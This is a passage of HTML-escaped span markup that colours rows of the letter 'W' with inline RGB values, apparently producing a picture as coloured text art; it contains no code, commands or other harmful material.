140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(247, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(194, 190, 189);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(206, 192, 183);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(192, 162, 159);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(196, 152, 132);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(214, 156, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 173, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(214, 156, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(202, 144, 121);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(192, 162, 159);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(194, 190, 189);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(171, 120, 105);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(222, 156, 132);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(228, 162, 134);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(189, 198, 198);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWW&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(214, 156, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(192, 130, 105);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(189, 198, 198);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 173, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(171, 120, 105);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(214, 156, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(214, 156, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(75, 79, 86);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(247, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 173, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(196, 152, 132);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(222, 165, 132);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(189, 142, 120);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(192, 179, 171);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 231, 222);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(192, 179, 171);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 173, 156);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(189, 142, 120);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 165, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WWWWWWW&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(226, 169, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(206, 148, 123);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(202, 144, 121);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(189, 142, 120);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(192, 179, 171);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(206, 202, 198);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWW&lt;/span&gt;&lt;span style="color: rgb(206, 202, 198);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(42, 56, 64);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(0, 0, 8);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(255, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(171, 120, 105);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(198, 140, 115);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(169, 138, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(126, 93, 85);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(202, 144, 121);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(208, 173, 159);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(189, 142, 120);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 165, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(206, 148, 123);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(239, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;WWWWWWW&lt;/span&gt;&lt;span style="color: rgb(17, 23, 29);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(231, 165, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(171, 120, 105);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(214, 156, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(192, 130, 105);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(214, 156, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(171, 120, 105);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(199, 162, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(212, 183, 162);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;WWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(40, 31, 30);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(106, 116, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(226, 169, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(222, 165, 132);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(214, 156, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(247, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;WWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 173, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 173, 144);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 165, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(226, 169, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(156, 165, 185);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;WWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(49, 73, 85);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 165, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(171, 120, 105);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 173, 144);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;WWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(40, 31, 30);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 165, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(171, 120, 105);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(206, 148, 123);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(92, 140, 167);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(147, 137, 152);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;WWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(49, 73, 85);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(106, 116, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(79, 116, 139);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(214, 156, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(222, 165, 132);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(195, 137, 109);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(92, 140, 167);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 198, 222);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(92, 140, 167);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(189, 198, 198);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWW&lt;br /&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(231, 231, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(42, 56, 64);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;WWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(138, 175, 199);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(92, 140, 167);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(85, 55, 48);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(222, 165, 132);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(8, 0, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(85, 55, 48);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(92, 140, 167);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(65, 